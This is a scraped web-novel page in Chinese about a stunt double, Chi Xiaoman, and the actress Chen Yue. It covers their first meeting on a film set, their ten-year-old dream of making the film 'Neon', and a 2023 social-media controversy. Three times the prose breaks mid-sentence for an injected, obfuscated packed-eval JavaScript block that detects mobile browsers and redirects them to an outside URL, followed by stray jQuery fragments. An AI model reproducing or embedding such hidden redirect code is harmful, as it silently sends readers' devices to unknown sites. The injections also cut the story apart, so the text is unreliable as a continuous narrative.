背上挨棍棒、脸上挨耳光、脖子遭绳勒喘不过气脸憋得通红的……替身。
大冬天穿几层沉甸甸棉服跳水的替身。
从二楼闭着眼睛往下跳的替身。
……
当然。
不敬业的演员和剧组没那么多。
所以她的活也不多。
大部分时候。
她都是处在一个等活、不断试戏试镜,然后遭拒的状态。
那一天。
天气极端闷热,剧组人来人往。迟小满演完一场挨打的戏,蹲在地上,久久直不起腰来,头晕眼花得像是有人在自己脑子里拿着烫水搅……
那段时间,大众对群演、替身的关注度没那么高。
剧组的生活,演员的生活,也不像十年后那么透明。
大部分剧组都是草台班子。
而在这些剧组里,当一个被扯过来挨打的替身,是没人会在她直不起腰的时候过来扶她的,只会让她赶快走,别挡主演镜头,也不会看她腰上、背上多几块淤青,就好心赔她医药费。
陈樾就是那个时候出现的。
当时迟小满疼得久久没从地上直起腰来,冷汗直冒,想晕过去一了百了,但她的身体大概比她脑子更坚强,不让她晕,她只好蹲在地上不停咽口水。
而场务见她一直在旁边不走,便开始不耐烦催促,
“到底走不走啊你?”
“走,马上就走!”迟小满虚弱回话。
她还指着这些人给她活干,没可能在这时候得罪人。
这么说着。
她脸色惨白,大汗淋漓,勉强用手撑着像云朵那样摇晃的地面。
直起腰来——
结果还没站起来。
她背上就一阵撕裂般的剧痛传来,疼得她龇牙咧嘴。
“装什么装?”
那场务可能怕她讹钱。
语气很不耐烦,“快点行不行啊,”
甚至还上了手,打算过来拽她。
但迟小满就怕他上手一撵自己更站不起来。
下意识往后一退。
这一退。
她没站稳。
天旋地转间。
她表情惊恐,盯着在头顶上飘荡着那颗烈日,不由得叹口气。
心里想着还不如就这么晕过去算了。
但也就是在这个时候。
一双手安安稳稳扶住她。
天热,撑住她那双手是凉的,柔的,也是安安稳稳的。
“你没事吧?”
手的主人撑扶住她,等她站稳才松手。
然后也没急着走。
凑过来耐心观察她的表情,“要不要送你去医院?”
“没事,没事。”
那天太阳好大,直射大地。
迟小满没看清面前这人的脸,但依稀看见,是个女的。
腰背上的痛仍在持续。
豆子那么大的冷汗从下颌流下,她扶着弯不下去的背,笑眯眯地跟人表达感谢,“谢谢,谢谢。”
女人没立刻说话。
她把她扶到旁边一条马扎凳上坐着,然后看了她一会。
“你等我一下吧。”
迟小满没反应过来。
但人家让她等。
她也没敢走。
一个人来北京,还想当演员。
她知道这是个梦。
也知道无论在什么剧组里,像自己这类的替身演员是最没话语权的。
就是不知道扶住她的那个女人是谁。
看情况应该和她不一样。
该不会看中她百折不挠的杂草模样,要喊她去拍戏吧?
迟小满龇牙咧嘴地做了会梦。
女人回来了。
她走到她旁边。
影子给她挡了点令人晕眩的烈日。
之后又特意半弯着腰跟她搭话,“疼得这么厉害,也不愿意去医院?”
我这点钱哪够去医院?
迟小满下意识就想这么说。
但刚张唇。
一个冰冰凉凉的东西被送到她腰边,贴在她痛处。
是个冰袋。
于是不知怎么。
迟小满那句“那不是白干一趟还要搭钱进去吗”也憋了回去。
她低头。
看那袋在惨白炎日下,冒着冰凉气的白冰袋,以及白冰袋上那双被融着湿漉漉的冰水,手指末梢和掌心都微微泛红的手。
可能是被头顶火炉晒得有点晕眩,也有点心悸。
迟小满忙着去把冰袋从女人手中接过来。
不知为何。
她没了之前在周围剧组接活时的伶俐,又只是干巴巴地说,
“谢谢,谢谢。”
女人看她把冰块接下来。
也没继续和她说什么。
没硬要等她回答“为什么不去医院”。
她看她一会,柔着声音说,
“冰块我那里还有。”
“你放心用吧,不够再来找我。”
这人是什么活菩萨在普度众生吗?
迟小满愣怔抬头。
却陡然望见女人模糊不清的脸。
她躲了下目光,挠了下下巴,没太反应过来,也不知道自己该说什么。
她受了恩也不怎么讲话。女人没恼,只是又客客气气地朝她笑一下,转身离开了。
这就是她们的第一次见面。
迟小满没看清陈樾的脸。
全程都结结巴巴。
最后她复盘,发现自己在那天竟然只说了两个“没事”,四个“谢谢”。
因为太痛顾不上。
也因为冰块融得比她想象要快。
而她也没好意思真的再找人要。
在原地歇了会。
就扶着腰,咬着牙,一瘸一拐地爬上电驴,兜里揉着那一百块不到的替身费,从剧组走了。
当天回过神来之后,她觉得懊恼,觉得自己也没说给人好好感谢一下。于是晚上,她躺在宿舍小床上泪眼汪汪地忍着痛,忍着不转身,在心里想——等下一次见面,一定要好好感谢人家。
但她没想到,第二次见面,比她以为得要快很多。
还是在同一个剧组。
因为迟小满心里念着这事。
就时不时回那个剧组看看,寻思着能不能找到人,无论如何请人吃顿饭。
哪怕当时她请得起的,可能只是一碗最便宜的鸡蛋面。
但王爱梅从小就教育她——
人穷不能没骨气。
那天。
天气还是一样热。
迟小满开着电瓶,在剧组周围马路转转悠悠,找了一会本以为这次也找不见,还有点失落,结果就在个不起眼的巷子里,看见了自己要找到的人。
不过女人似乎正在和谁说话。
迟小满没想着打扰,以为两个人有私事要说,便撑着电瓶车,用自己那双破破烂烂的帆布鞋,踩在地上,慢吞吞地往后移。
结果刚移两步,就看见——
和女人说话那男的。
突然把她递过去的饮料砸在地上,语气尖酸刻薄,
“这么冷我怎么喝啊?”
烈日,阳光惨白。
半透明的汁水溅在地上。
也溅在女人裤脚,湿了她T恤的半边腰腹。
迟小满愣住,撑着电瓶,又努力往前挪,抻着脖子往里看。
便看见——
女人在原地停了一会。
把饮料杯从地上捡起来。
然后又对那男的微笑着说,
“我去换。”
迟小满认出来。
对面那男的是这剧里的主演。
也是她上次替身那场戏的对手戏演员。
上次拍完那场。
这男的还用手扇着风,让人赶快把她抬走别碍自己镜头。
现在,同一个人,又站在帮助过她的这个女人面前,趾高气昂,语气尖酸,“你笑什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506939|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女人动作顿了一下。
她斜背对着迟小满。
听到这话,嘴角微微敛起来,好像并没有产生任何恼怒。
而那男的从鼻子里“哼”出一口气,
“又不是演员,一整天不知道对谁笑?”
谁说不是演员就不准笑了?
迟小满气不打一处来。
当即大声朝巷子里“喂”了声——
“说什么呢!”
她嗓门大,音量响。
这一嗓子,把巷子里两个人都惊得看过来。
接着。
迟小满撸起袖子。
扔下“嘭”地一声摔倒在地面的电瓶车。
当场就火急火燎地冲上去。
巷子里的两个人齐齐回望着她。
迟小满憋足一口气。
走到半道上终于看清女人的脸。
也看清女人望过来的、仿佛是慢镜头的、极为惊讶的眼神。
瞬间又想起句话——某句经由白云村本土哲学家王爱梅女士亲自改编过的、极为经典的名言——
“冲动是魔鬼,尤其是你迟小满。”
一瞬间。
迟小满着急忙慌,憋住腮帮子里那口气。
及时在原地刹车。
叉着腰不动了。
但她估摸着自个表情还是凶神恶煞。
因为那男的像是被她一嗓子吓到。
后退几步。
嘴上说了句“神经病啊”,就慌里慌张地走了。
留下巷口那辆倒在地上因为见义勇为没成功但是却成功牺牲的电瓶。
以及巷子里。
叉着腰表情凶恶的迟小满。
和手上拿着饮料杯表情模糊的女人。
两个人面面相觑。
好一阵。
是女人先犹豫着走过来。
和迟小满面对面站了会。
没忍住问,
“你的腰,撑这么久没事吗?”
话落。
像是某种暗示。
腰背上的疼痛迟钝泛上来。
迟小满再也撑不住。
便龇牙咧嘴地倒吸口凉气,
“幸亏他走了,痛死我了!”
于是女人笑了。
那是迟小满第一次看清这个女人笑。
当时她没觉得有别的。
就觉得好看。
觉得这人性格肯定挺温柔,连笑声都是轻轻悠悠的。
后来,每次看见这个女人笑,她就会情不自禁跟着一块笑。也在心里想,这个女人天生就该演电影的。
而这天。
女人笑完了。
便从阴影下走出来。
颇为正式地伸出手,对她说,
“你好,我叫陈童。”
迟小满愣了会。
终于得以看清女人那张敞在阳光下的脸,也终于明白,刚刚那人为什么那么恨她笑。
因为女人的确长着张得天独厚的脸,怎么也不该在这小剧组里当场务。
不过迟小满长这么大还没这么正式跟人握过手,便在自己衣服上擦了擦,颇为紧张地用两只手捏住了女人细细长长的手指尾端。
也相当正式地介绍自己,
“陈童你好,我叫迟小满。”
当时。
她还没想过。
一周后,她会和这个叫陈童的女人搬进那间地下室合租,她们两个会和全世界最伟大的编剧浪浪一起用旧三轮搬家,也会从那天起,一起做一个长达一年的梦。
也没想过,浪浪一直在打磨的那个剧本会被叫作《霓虹》,里面两个女主角,一个叫小鱼,另外一个叫树。
而且她们还和在北京隔断房和地下室里逗留、做大梦的很多个年轻人一样,约好十年后一定把《霓虹》拍出来,也都坚信——
电影《霓虹》。
编剧浪浪。
迟小满演小鱼。
陈童演树。
一个都不能少。
后来。
她们三个凑了钱,找了天桥下面的盲人阿姨算命。
阿姨说——
迟小满这个名字命里带红,不该改。
但陈童这个名字不好听。
陈童陈痛,听起来太苦了。
再后来。
迟小满拍了人生中第一个被看见的角色,有一天晚上,她被人追着骂着堵了一条路。
不管对面话说得多难听都不敢还嘴,也不敢像从前那样放肆流眼泪。
因为被拍到就是卖惨。
因为还嘴就是玻璃心没素质。
连家门都被堵着。
迟小满只好在路边抱着膝盖,躲在帽子下吃碗鸡蛋面,没加鸡蛋。
然后她刷到条新闻。
里面有个女演员拍电影接受采访,对着镜头大大方方自我介绍,
“我是演员,陈樾。”
陈樾。
陈樾。
迟小满反反复复念这个名字。
然后咧开嘴笑了。
陈樾。
陈悦。
那可能是那段时间,迟小满唯一一个发自内心的笑。
因为她很高兴。
也因为当时。
她还对着那碗忘记加鸡蛋的鸡蛋面,许下那年唯一一个生日愿望——
希望变成陈樾的陈童,未来每一天,都可以真的像这个名字一样。
天天开心,没有苦痛。
7. 「二零二三」
“没什么不相信的。”
二零二三年。
三十岁的迟小满躺在病床上,几乎是以逃兵的姿态退出这段来自十一年前的视频,也在仓皇失措中退出软件。
整个人在惊悸中去望紧闭的病房房门。
来自二零一二年的视频不长,却让她从看到的第一秒钟起就脸色苍白,被逼出一身淋漓冷汗。
床单再一次被揉得发皱。
迟小满艰难呼出几口气,抬起蜷缩的手指,抹了抹自己发热发酸的眼圈。
然后恍惚想起——
她好像还是忘了跟陈樾解释电影的事情,也忘了和陈樾说清——
《霓虹》是她要拍。
但她从没想过十年后要用这件事来打扰陈樾。
而陈樾要来演《霓虹》的瓜条,也从来都不是她让人编的。
刚刚见面那么久,偏偏她一句关于这事的都没说。
也不知道陈樾会怎么想?
会觉得十年过去,物是人非,而她真的打算自己去拍《霓虹》很可笑吗?
会觉得她仍然冲动,仍然不自量力到像是愚蠢吗?
会觉得她在蹭她热度吗?
还是会……
觉得她那句恭喜也是假的?
又或者。
觉得她是既得利益者,觉得她是胆小鬼。觉得她现在既差劲,又卑劣,把自己活得太糟糕。
连去解释的勇气都没有?
想到这些。
迟小满勉强撑着脖子。
像刚刚一样。
石膏手扶着手机。
另一只手,单手滑开手机,费力地滑了好几下。
点开微博。
她愣住。
因为先于她之前。
陈樾已经发了微博。
【剧本是私人剧本,与谣传无关,请各位不要再发散。
最后。
感谢,祝好。】
和上次她忍不住发了那条微博的结果一样。这次消息传出去,闹那么大。
也同样是陈樾出来替她收拾残局。
这个女人向来宽容,善良,永远不会让人在和她相处时感到不悦。
也怪不得当年,会被迟小满误会成活菩萨普度众生。
而现在,迟小满眼圈泛红地揉紧床单,不知道此时此刻,自己是应该为陈樾的宽容体贴感到庆幸,还是应该因此觉得难过,无助。
因为她似乎很少给陈樾带去过好的事情。从前是因为横冲直撞太冲动,现在是因为已经没有机会。
仓皇间她手没拿稳,手机缓速从掌心滑落,砸落到床沿。
迟小满慌慌张张单手去捡,却因此点进陈樾微博,也猝不及防看到下面的热评。
第一条来自某个营销号的转发,已经有上千条回复。
看清内容之后,手臂和颈部的疼痛钝钝麻麻泛上来。迟小满攥紧手指,指尖抠紧手心,麻木间她几乎感觉自己动弹不得。
因为这条热评看似嘲讽,却替她问出去一句她自己都不敢问的话:
【你是信今天这事真和迟小满没关系,还是信我是秦始皇】
而热评下。
来自陈樾本人的回复异常简短,也异常熟悉:
【没什么不相信的。】
-
和迟小满被管控在宣发团队手里的微博账号不一样。
陈樾的微博不怎么营业,一年到头来也就发这几条。
但今天。
她不仅发了条微博,还在风口浪尖回了营销号一句。
一时之间,舆论四面八方涌过来。
【如果要给娱乐圈体面人评奖,我建议评给陈樾……】
【我受不了了,这评论下面怎么这么多傻白甜?没看见这事一出,陈樾不仅得了热度,还白得了好名声?】
【这名声给你你要不要啊?人拿影后热度和名声本来就够了吧?好心解释一句还又惹一身骚,我真是怜爱了。
【迟小满我也怜爱好吧。
人可是撞了车实打实地受了伤啊,被人说蹭热度也就算了,你看这评论区多少黑粉搅混水,还说让她住院住久点?这说的是人话?】
【为什么你们不能想点好的?一定要把两个女演员之间想得这么勾心斗角吗?我真是服了。我请问这个世道能不能对女演员好一点?】
机场,小棋紧急浏览舆论状况。
心有余悸地对旁边正戴着鸭舌帽阖眼休息的陈樾说,
“姐,你以后可不能这么冲动了。”
目前来看,这事的确对她们这边没什么影响。
但要闹久了也就不一定了。
舆论瞬息万变。
一眨眼,黑的能给转成白的,白的也能转成黑的。
“好,我知道了。”
陈樾清楚小棋语气里的担忧不是假的,停了一会,也点了头,
“我是不是添麻烦了?”
小棋听她答应,松了口气,
“这算什么麻烦?根本也不是这么大事,就是这边媒体都喜欢把事情夸大其词,我刚给沈姐打了电话,她也说没事,你自己的微博,想解释就解释,想发就发呗。只要平时不发些发不了的东西就好。”
“那她呢?”
陈樾轻声细语地问,
“我发这条微博是不是反而对她不好?”
“迟老师那边吗?”
小棋想了下刚刚看到的评论——给迟小满出来说话的声音是多了些,觉得她们两个中间压根没什么事的声音也出来了。不过……
“现在也不知道具体情况。一般来说,把事情解释清楚过几天就没什么了。”
其实这条解释微博怎么说也不算冲动,那些风风雨雨的谣言,说明白了反而对双方都好,也能早点了事。只是……就怕有人在中间搅混水。
小棋注意到陈樾揉了揉眉心,实在没忍住,“姐,你是不是和迟老师之前就认识啊?”
陈樾揉眉心的动作停了一下。
她分开双唇。
似乎习惯性在笑,似乎又没有,“怎么会这么问?”
“这事吧其实稍微往深想点,就清楚了……”小棋谨慎开口,
“我刚刚还看见,她经纪人宋莺莺,手底下有个男艺人昨天刚闹出出轨还让女友打胎的事……这事明摆着,是她经纪人拉她下水,用她流量给那男艺人挡丑闻。”
这种事情在这个圈子里并不少见。陈樾没因此产生太多惊讶。她低着眼,不讲话。
小棋看她隐在帽檐阴影下的面部轮廓,叹了口气,“我们这边吧,其实就把这事放着,过段时间也就过去了。”
“只是你现在这样特意出来解释,不也把你自己给扯进去了吗?”
“我知道。”
“知道那为什么还?”
前往香港的飞机即将起飞。陈樾轻轻地说,“因为如果我不解释,可能会有人认为我是默认。”
小棋一愣,“默认什么?”
陈樾停了一会。
侧脸对小棋很柔和地笑,
“默认我讨厌她,厌恶她,默认我嫌弃她蹭我热度,默认我恨她……”
“甚至以后每一次。”
“我们的名字摆在一起,都会有人说她……都会有人提起这件事。”
“我不想她被人说成那个样子。”
今夜春雨纷飞,她辗转未停,风尘仆仆,最后轻声说,
“至少不能是因为我。”
最后一句话。
尾音被机场外噪声吞进去,以至于小棋险些没有听清,
“因为我可能不恨她。”
也让小棋忽然想起,陈樾家里一直有张被盖起来的合照,合照里有三个人。
一个人是陈樾自己,戴着一副现在看起来有点土的扁圆眼镜,笑眼在模糊的像素下显得温柔。
另外一个女人有一头爆炸金黄色卷毛,也有一张任何人看了都陌生的脸。
而最中间那个稍微年轻点的女孩,则是被涂黑了五官,只剩下那头看起来也有些乱糟糟,像杂草,又像火的头发,和被黑色笔用力画去,变淡变模糊几乎无法看清五官,却仍然显得炯炯的眉眼。
想起这件事的小棋。
再次看向陈樾隐在帽檐下的倦懒眉眼,忽然心里产生某种惊惧的猜测——
合照中间那个被涂了脸的女孩。
该不会是迟小满吧?
-
陈樾发微博后的两个小时。
迟小满出了院,回到自己在北京常住的房子。
第一件事。
她给经纪人宋莺莺打去电话。
她抱着自己的石膏手,几乎一夜没阖眼,坐在冰冷的楼梯上,等待电话接通,疲倦不堪地对宋莺莺说,
“你能不能别把陈樾扯进来?”
九年前。她和宋莺莺签下经纪合约。那个时候她是个什么都没有的新人,唯一能抓住的救命稻草就是宋莺莺,知道这可能是自己唯一一次靠近梦想的机会,也在那时不得不同意合同上和公司一比九的分成比例。
这么多年下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506940|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,宋莺莺倒是没逼她去做过什么乱七八糟的,更从来没和她撕破过脸皮。
但合作这么多年,她不是不清楚宋莺莺操控舆论的手段。
眼下陈樾出来解释,正好是宋莺莺求之不得的。
听到她电话打过去,劈头盖脸就只说这一句,宋莺莺在电话里头笑了声,
“看来我们大明星身体是没事了?出院第一个电话就是骂我?”
“也不谢谢我给你处理后面的事情,从昨天忙到现在连口水都没来得及喝?”
这话是真的。
虽说宋莺莺的手段让迟小满无法苟同。
但某种程度上。
她也的确是个合格的经纪人。
但不管怎么样。
她都不能让陈樾被扯进去,“无论你接下来要做什么,都不要把她扯上。”
宋莺莺可能是念着她身体,希望她尽快恢复不要耽误太多后面的行程。
也没跟她啰嗦,
“可以。”
没想到宋莺莺答应得这么爽快。
迟小满准备好的一揽子话反而没能往出说出来。
她抿了抿唇。
不知道是不是要挂电话。
宋莺莺那边也的确是忙,到处都有人喊她和她说话。她接了几句。
得了空才问迟小满,
“迟小满,你觉得我现在做些什么,才能让你愿意和我续约?”
平心而论,迟小满挺佩服宋莺莺尤其强大的心理素质。上一秒还在暗地里做些不痛不痒的手段利用她,下一秒又能心平气和谈条件。
不过这些年迟小满脾气收敛不少,冲动不起来,也没有非要争口气。她精力不济地扶着额头,轻声说,
“再说吧。”
“行,那我不耽误你休息。”
宋莺莺挂了电话。
迟小满拿着手机,坐在台阶上发呆。
宋莺莺是个聪明人。
向来最懂舆论反噬的道理,也向来最懂给个巴掌再给甜枣的规则。
电话里听见还有可以和她谈条件的机会。
哪怕知道她这可能是应付,也会先哄着她,应该是真的会去想办法把事情平息下来。
更何况,事情闹太久,对宋莺莺也没太多好处。
坐在楼梯上,把事情来龙去脉想好。迟小满整个人也没放松下来,没忍住去看了眼微博上的消息。
幸亏陈樾在圈内基本没树敌,经纪人似乎也不像宋莺莺那样有野心。就算这几年陈樾除了拍电影没什么曝光,她经纪人也都是由着她。
只要宋莺莺不趁机利用陈樾的热度,用她那些常用的发通稿、请大量活人水军带偏节奏,甚至是些迟小满从来都无法得知的手段。
微博上就暂时没多少人对陈樾有异词。
至于之前和迟小满争执陈樾没去尼泊尔当志愿者的那人,现在也没了动静。
只要不沾上她迟小满。
陈樾就可以永远风平浪静。
迟小满抱着膝盖,坐在楼梯上好久,等到手脚都麻痹,冷汗逐渐冰凉,像从地下室爬出来的蜘蛛阴寒间攀在她皮肤上。
才终于看到她的工作室发了澄清微博,也看到陈樾微博下的评论都转好。
还看到最初发那条瓜条的营销号把微博删除,于是被所有人追讨。
而“陈樾迟小满”这两个并排在一起的名字慢慢从微博热搜上消失不见。
变成单独的、完全没有任何关系的两个词条。
#陈樾影后
#迟小满出院
而点进去陈樾的词条。
广场第一条。
就已经是陈樾在金像奖获奖时的获奖感言内容。
长达一分钟的视频。
封面是陈樾。
她穿着礼裙站在闪闪发光的地方,手里拿着闪闪发光的奖杯,脸上美丽动人的笑容也有种遥远的闪闪发光。
迟小满连一秒钟都不敢看。
那时太阳高高挂起。
她放下手机。
艰难仰头,躲在自己在北京的阳光房里,长长舒出一口气。
然后。
真心实意地提了提唇角。
她是对的。
只要不沾上她,陈樾就还是那个低调敬业的,闪闪发光的,从来不会被人用最坏的恶意去推测的……
影后。
而迟小满最好永远像此刻一样,既能够真心实意为她感到高兴。
也从来都不会去渴望,能有再次与她亲密无间的机会。
8. 「二零二三」
这天心力交瘁,结束后迟小满终于能躺到床上,迷迷糊糊间,却又突然想起宋莺莺之前给《霓虹》的评价——
“你这本子没亮点没争议点,更没什么大众爱看的情绪爽点,整篇下来两个女主连场像样的亲密戏都没有,故事俗套,公路片小众,人物幼稚,基调压抑,还有那么多影射业界的内容……”
“像这样的本子,北京每个电影公司外的垃圾桶里每天都能收到几百个。”
“就是个普通得不能再普通的故事。别说投钱进去,等真拍了出来,你迟小满的名字一辈子都得和这烂片儿凑在一起。”
“还有,你知道这消息传出去,别人会怎么说你吗?”
“会说你拍电影是帮人洗钱希望你快点被抓,说你疯了想尽方法圈钱……”
“是,这些现在是些黑粉的谣言没错。但谣言传着传着,不知道哪天就会有人开始斩钉截铁说是真的了。你出道这么多年,不会不懂这个道理。”
“迟小满,你是不是到现在还不清楚你自己是什么人?”
“你知道你那快到一亿的粉丝里有多少人是因为讨厌你想要骂你,想要随时把你做的事、说的话截图出去断章取义才来关注你的吗?”
“你知道你拍出来的东西,每一帧都会被放大、审判吗?”
“这个情况,有哪个演员不怕被人一帧一帧截出来审判还敢进你的组?哪个投资人不怕回不了本敢给你投钱?行,你自己投自己拍,到时候倾家荡产拍了个烂片出来成为陈年老鼠屎,你的星途也未必能有现在顺利。”
“迟小满,作为你的经纪人,我现在负责任给你一句忠告。”
“你今年都三十了,还去做什么孤注一掷对抗全世界的梦,不会有人支持你,每个人都会觉得你既愚蠢又可笑。”
其实迟小满没想着非得自己做导演,如果能找着合适的、风格和理念契合的导演最好,那也不必把她的名字加上去惹人嫌。
找不到,她就只能自己上。大不了最后也不署她的名。
这是她去找那些制片人时做的打算,但没想到,事情就这么被爆了出去。
这是浪浪的本子,她不敢放心交给“市场至上”的班底。因为如今的电影市场不比从前,有话语权的也从来不会报着“尊重艺术”的心理。
更何况。
迟小满从来没想说要违抗全世界,也没想过非得要拍出来什么惊世骇俗的东西。
说她孤注一掷也好。
说她傻也罢。
她只是觉着,《霓虹》这个故事没人说得那么不堪。
它是个好故事。
只是在市场价值和大众眼光里,可能没有那么出色。
但这并不代表它没有价值。
更不代表,它就连被拍出来都不配。
她也觉着,十年之前她没做到的事情那么多。十年之后,她想再试一次,看看自己可不可以做到。也算是对得起二十岁的自己,和直到最后都那么相信她,愿意把剧本交到她手里的浪浪。
况且。
这件事也没有那么可笑吧。
睡着之前,迟小满精疲力倦地想。
反正不管如何。
她愿意为自己的选择承担所有坏结果。
当然,前提是。
只是她自己。
-
醒来之后迟小满仍然觉得很累。
已经很久了,睡觉对她的身体来说不算休息,反而是种折磨。
从凌晨到白天。
这会太阳已经晒到眼皮子上。
昨夜开的电视机也没关,里头仍旧在播着部她从前最喜欢的香港老电影,主人公在蓝天白云下讲着粤语,演着些离她很遥远的爱恨情仇。
迟小满盯着电视机发了会怔,实在没力气,才想起自己从昨天到现在也没吃什么东西,又想起后面的行程也推不了多久,不管怎样,为了不耽误事,她还是得吃点。
方阿云这几年身体不好,昨天晚上跟着她忙上忙下,也一直没休息好。
迟小满不想打扰她。
就自己下床,勉强走到厨房,单手烧了开水,撕包装袋,给自己泡了碗面。
但一只手总归不方便。
她再小心,也难免弄出些丁铃哐当,和让自己疼得龇牙咧嘴的声响。
刚把那不知道半开不温的水泡进去,方阿云就揉着眼睛走出副卧房门,看见她桌边上摆着的狼藉,和她那碗盖都没怎么盖全乎的泡面,皱了下眉。
迟小满没想着把方阿云闹醒,有些抱歉,“我把你吵醒了吗?”
方阿云摇摇头,过来把她那碗都没来得及盖严的泡面端走。
“哎——”
“不用了,你去休息。”迟小满怕她又因为自己忙起来,下意识伸手去护,“我吃这个就好,别浪费了。”
但她现在这个状况。
哪能抢得过年过五十八却仍旧身手矫健的方阿云。
泡面被方阿云端走。
迟小满很无奈地仰着脖子去和方阿云对视,也试图再次劝方阿云去睡,“其实真不用。”
方阿云没管她。
自顾自打开她的泡面。
看了眼里头,又抬眼看她,叹了口气。
迟小满和她眼神对上。
猜她没准是想说——怎么都不给自己加个蛋?
便弯眼笑了笑,“懒得麻烦嘛。”
方阿云也没跟她争,只在厨房操劳着,重新给她做了碗热气腾腾的手工面。
那碗煮了会的泡面倒是也没倒掉,被方阿云重新加了工,闷头端到餐桌上。
北京繁华地段宽敞明亮配备阳光房的顶楼大平层,干净整洁的餐桌,两碗面。
一碗手工面,加了青菜虾仁牛肉和蛤蜊进去,还有一颗卧在表面的溏心蛋。
一碗之前没煮好重新加工的泡面,加了点那碗没能放进去的余料。
方阿云二话不说。
把手工面放在迟小满面前。
迟小满看方阿云眼疾手快。
皱了皱眉。
也努力仰着脖子不动,坚持把自己这边的料一片一片给方阿云夹进去。
方阿云刚开始还拦,后面发现她非要,怕她动多了扭到脖子,便也随着她。
等到面里的料勉强分到一人一半。
迟小满才心满意足地去吃自己这边这碗。
方阿云厨艺很好,简简单单做碗面。对迟小满来说也算是美味佳肴。
刚仰着脖子费力吸溜了一口。
迟小满就忙着给她竖了个大拇指,“好吃!”
方阿云点点头。
看她吃得高兴,也才愿意去吃自己碗里那碗。
迟小满看方阿云终于下筷,也才松了口气,慢慢吃面。
不比之前。
她现在吃东西慢。
一口要嚼好几下,才能慢慢吞下去。
方阿云倒是比她吃得快很多。
吃完了也没急着走,就在对面,慢慢柔柔地看她。
迟小满被方阿云用这种眼神望着。
没回望,只笑了笑,“阿云阿姨,你是不是有什么想和我说的?”
方阿云摇摇头。
过了几秒。
又点头。
然后找了老花镜戴上,在手机上打字。
经过好几年的学习,她的打字速度已经能和不少小年轻媲美,也因为迟小满学习了不少冲浪用语。
这么久了,不少人都对迟小满身边有这么一个五十多岁、不会讲话的助理感到奇怪,觉得这不是忙没帮到反而还耽误事吗?
但迟小满不这么觉得,也从来都不对那年自己在宋莺莺面前坚持说要用方阿云当助理,而感觉到任何后悔。
方阿云打完字,把手机屏幕上很大一粒的字伸过来给迟小满看,
“小满老师,谢谢你今天陪我吃饭。”
迟小满仰着脖子去把这行字念出来,也弯眼笑了笑,放下筷子,颇为正式地说,“阿云阿姨,也谢谢你今天陪我吃饭。”
方阿云也笑。
她笑起来并不算开朗,和她性格一样,慢慢柔柔,眼角皱纹在阳光下闪闪发光。
“小满老师,你辛苦了。”笑了一会,她把嘴角敛起来,又打字给迟小满看。
迟小满以为她说的是昨天晚上的事情,便也只是不太在意地笑了笑,又很勉强地抬抬下巴,当作摇头,
“不辛苦不辛苦。”
方阿云看了她一会。
继续打字,“要拍电影会很辛苦。”
说实话。方阿云手机上的字真的很大。一句话,基本就占据半个屏幕了。
迟小满看了一会。
觉得自己的眼睛被那几个字胀着,都有点发疼了。
好一会,才低下眼,笑,“也不辛苦。”
“应该的。”
过了一会。
她这样说,“答应的事就要做到,不是吗?”
迟小满不知道,方阿云是不是唯一一个不觉得她傻的人。她也说不清楚,十年后自己一定坚持做这件事最大的动力和原因到底是什么。
可能是执念。
可能是怀念。
宋莺莺的话她不是没有听进去,消息爆出来后网上的嘲讽和骂声,她也不是没有看见。
甚至是电影拍出来之后,结果可能也并不如她所想——这一点她不是没有去预料,更害怕到头来,反而是自己把浪浪的剧本毁了。
但……
“我还是觉得《霓虹》是个好故事。”
把最后几口面很珍惜地吃完,迟小满再次对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506941|186112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方阿云笑,也说,
“也一定会让浪浪在大荧幕上被署名的。”
“只是……”她开了这个头,话却没能说下去。
方阿云看着她,没继续打字,好像等着她继续往下说。
迟小满笑了笑。
看着方阿云的眼睛,轻轻地说,“也没什么。”
只是。
无论如何,主演都已经不可能是她和陈樾了。
这件事也不是非要说出来,才足够清楚明了。
-
但电影真要拍,是个难事。
光是开机筹备就要花不少时间,找投资人,和她志同道合的制片,愿意跟她共同冒险的演员,风格适配的摄影美术副导演,整套愿意对《霓虹》这个本子心服口服的班底……缺一不可。
目前这个情况。
她连个像样的投资人都找不到,也暂时没能找到对这个本子另眼相看的制片。
何况要迅速把班底组建起来?
不过这件事已经等了十年。
迟小满不急,更不想等了那么长时间,花了那么多心思,到头来却组成一个草台班子。
况且她自己的合约也还没解决。
撞车的伤养了几天。
网上关于“她和陈樾拍电影的消息”落幕,被圈内屡见不鲜的新消息盖下,没人再想起来讨论。
迟小满马不停蹄离开北京,拆了颈套,手上的石膏换成不那么扎眼的绷带,去国外拍商务,又回国去不同城市出席平台活动,跟之前的剧组宣传。
再回北京,已经快要六月。
